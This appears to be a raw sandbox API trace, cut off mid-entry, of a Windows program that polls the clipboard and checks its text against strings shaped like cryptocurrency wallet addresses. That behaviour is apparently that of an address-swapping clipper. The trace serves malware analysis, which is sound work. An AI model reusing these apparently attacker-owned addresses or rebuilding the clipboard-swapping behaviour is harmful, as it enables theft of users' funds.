lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0052.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0052.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0052.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0052.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0052.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0052.501] Sleep (dwMilliseconds=0x64) [0052.606] GetOpenClipboardWindow () returned 0x0 [0052.606] OpenClipboard (hWndNewOwner=0x0) returned 1 [0052.606] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0052.606] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0052.606] GlobalSize (hMem=0x6069b8) returned 0x42 [0052.606] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0052.606] GlobalUnlock (hMem=0x6069b8) returned 1 [0052.606] CloseClipboard () returned 1 [0052.606] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.606] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.606] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.606] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.606] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0052.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0052.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0052.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0052.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0052.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0052.610] Sleep (dwMilliseconds=0x64) [0052.734] GetOpenClipboardWindow () returned 0x0 [0052.734] OpenClipboard (hWndNewOwner=0x0) returned 1 [0052.734] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0052.734] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0052.734] GlobalSize (hMem=0x6069b8) returned 0x42 [0052.734] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0052.734] GlobalUnlock (hMem=0x6069b8) returned 1 [0052.734] CloseClipboard () returned 1 [0052.734] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 